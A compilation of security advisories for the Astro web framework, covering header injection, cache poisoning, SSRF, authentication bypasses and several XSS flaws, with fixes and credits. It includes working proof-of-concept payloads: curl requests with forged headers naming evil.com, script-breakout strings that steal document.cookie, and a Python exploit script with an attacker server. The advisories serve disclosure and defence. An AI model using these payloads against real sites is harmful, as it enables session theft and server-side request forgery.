Summary When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.
Details Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.
It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.
This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.
As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.
Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.
PoC - Check out the minimal Astro example found here: https://github.com/Chisnet/minimaldynamicastroserver - nvm use - yarn run build - node ./dist/server/entry.mjs - curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com' - Observe that the response reflects the malicious X-Forwarded-Host header
For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.
Impact
This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.
PoC https://astro.build/image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
Summary
In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:
- Middleware-based protected route bypass (only via x-forwarded-proto) - DoS via cache poisoning (if a CDN is present) - SSRF (only via x-forwarded-proto) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass
Details
The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97 https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121
These header values are then used directly to construct URLs.
By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.
If the following header value is injected when requesting the path /ssr:
x-forwarded-proto: https://www.malicious-url.com/?tank=
The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr
As a reminder, URLs are created like this:
url = new URL(${protocol}://${hostnamePort}${req.url});
The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.
This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.
The same logic applies to x-forwarded-port, with a few differences.
[!NOTE] The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.
PoC
The PoC will be tested with a minimal repository:
- Latest Astro version at the time (2.16.0) - The Node adapter - Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware - A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path
Download the PoC repository
Middleware-based protected route bypass - x-forwarded-proto only
The middleware has been configured to protect the /admin route based on the official documentation:
ts // src/middleware.ts import { defineMiddleware } from "astro/middleware";
export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
1. When tryint to access /admin the attacker is naturally redirected : sh curl -i http://localhost:4321/admin <img width="620" height="102" alt="image" src="https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351" />
2. The attackr can bypass the middleware path check using a malicious header value: sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin <img width="1348" height="159" alt="image" src="https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089" />
How is this possible?
Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:
- x: is considered the protocol - Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin
During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.
SSRF
As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).
Example of code reusing the "origin" URL, concatenating it to the API endpoint :
<img width="601" height="418" alt="image" src="https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802" />
DoS via cache poisoning
If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.
A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr <img width="998" height="108" alt="image" src="https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86" />
Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr
How is this possible?
The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.
URL pollution
The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.
If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:
x-forwarded-proto: javascript:alert(document.cookie)//
results in the following URL object:
<img width="444" height="202" alt="image" src="https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba" />
It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.
x-forwarded-proto: https://www.malicious-site.com/bad?
The attacker is more limited with x-forwarded-port
If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:
X-Forwarded-Port: /nope?
Example of an Astro website: <img width="1627" height="298" alt="Capture d’écran 2025-11-03 à 22 07 14" src="https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12" />
WAF bypass
For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:
https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path
Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.
CVE-2025-61925 complete bypass
It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.
By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:
if (forwardedHostname && !App.validateForwardedHost(...))
Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.
From there, the following request on the example SSR application (astro repo) yields an SSRF: <img width="1878" height="456" alt="Capture d’écran 2025-11-06 à 21 18 26" src="https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9" /> empty x-forwarded-host + the target host in the path
Credits
- Allam Rachid (zhero;) - Allam Yasser (inzo)
Authentication Bypass via Double URL Encoding in Astro Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794
---
Summary
A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.
Fix
A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :
if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); }
Summary
The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.
Details
The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:
javascript export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString( ${key}="${toAttributeString(value, shouldEscape)}"); // key interpolated not escaped }
This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:
javascript for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, name); }
The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.
Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ${key}="${escapedValue}" . A malicious key breaks attribute context, resulting in XSS.
POC
Create an SSR Astro page (src/pages/index.astro):
astro --- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html> Enable SSR in astro.config.mjs (for URL based demo):
javascript export default defineConfig({ output: 'server' });
Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.
Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}
URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D
View the HTML source. The output contains:
html <div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>
The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.
<img width="1919" height="992" alt="Captura de tela 2026-06-02 005906" src="https://github.com/user-attachments/assets/ef69c12e-7edf-472e-97d1-3dfa540e61b4" />
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.
The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.
Summary
Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.
Who is affected
This affects SSR deployments that:
1. Have a prerendered 404 or 500 page 2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters
Not affected: - @astrojs/node >= 9.5.4 (reads error pages from disk) - @astrojs/cloudflare (uses the ASSETS binding) - The dev server (renders error pages in-process)
How it works
createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)
When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.
An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.
Remediation
The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.
Credit
5ud0 / Tarmo Technologies
Summary
When a component uses a client: directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${key}" : ''}>${children[key]}</template>
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], });
src/pages/index.astro astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html>
src/components/Wrapper.jsx jsx export default function Wrapper() { return null; }
Payload: abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
ts // component.ts:371 <template data-astro-template${key !== 'default' ? ="${escapeHTML(String(key))}" : ''}>${children[key]}</template>
---
Impact
Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.
Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:
- The application uses server islands - Two different server island components share the same key name for a prop and a slot - An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)
These conditions are very unlikely to occur in real-world production applications.
Patches
This has been patched in astro@6.1.10.
The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.
References
- Fix PR: https://github.com/withastro/astro/pull/16457 - Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical
Summary
The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.
Details
The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n; } return markHTMLString(output); }
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; }
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:
1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag. 2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.
JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.
Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
PoC
Step 1: Create an SSR Astro page (src/pages/index.astro):
astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
js export default defineConfig({ output: 'server' });
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.
Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.
Exploitation enables: - Session hijacking via cookie theft (document.cookie) - Credential theft by injecting fake login forms or keyloggers - Defacement of the rendered page - Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.
Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n; } return markHTMLString(output); }
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.
Summary This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for / patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
ts } else if (pathname.endsWith('/')) { const slicedPathname = pathname.slice(0, -1); // length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }
Vulnerable code flow: 1. isRemoteAllowed() evaluates remotePatterns for a requested URL. 2. matchPathname() handles pathname: "/img/" using .replace() on the URL path. 3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config js import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/' }, ], }, });
Affected pages This PoC targets the /image endpoint directly; no additional pages are required.
PoC Code python import http.client import json import urllib.parse
HOST = "127.0.0.1" PORT = 4321
def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "bodysnippet": body[:400], }
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
Both pass, second should fail
results = { "allowed": fetch(f"/image?href={allowed}&f=svg"), "bypass": fetch(f"/image?href={bypass}&f=svg"), }
print(json.dumps(results, indent=2))
Attacker server python from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1" PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """
class Handler(BaseHTTPRequestHandler): def doGET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.sendresponse(200) self.sendheader("Content-Type", "image/svg+xml") self.sendheader("Cache-Control", "no-store") self.endheaders() self.wfile.write(PAYLOAD.encode("utf-8")) return
self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"ok")
def logmessage(self, format, args): return
if name == "main": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serveforever()
PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.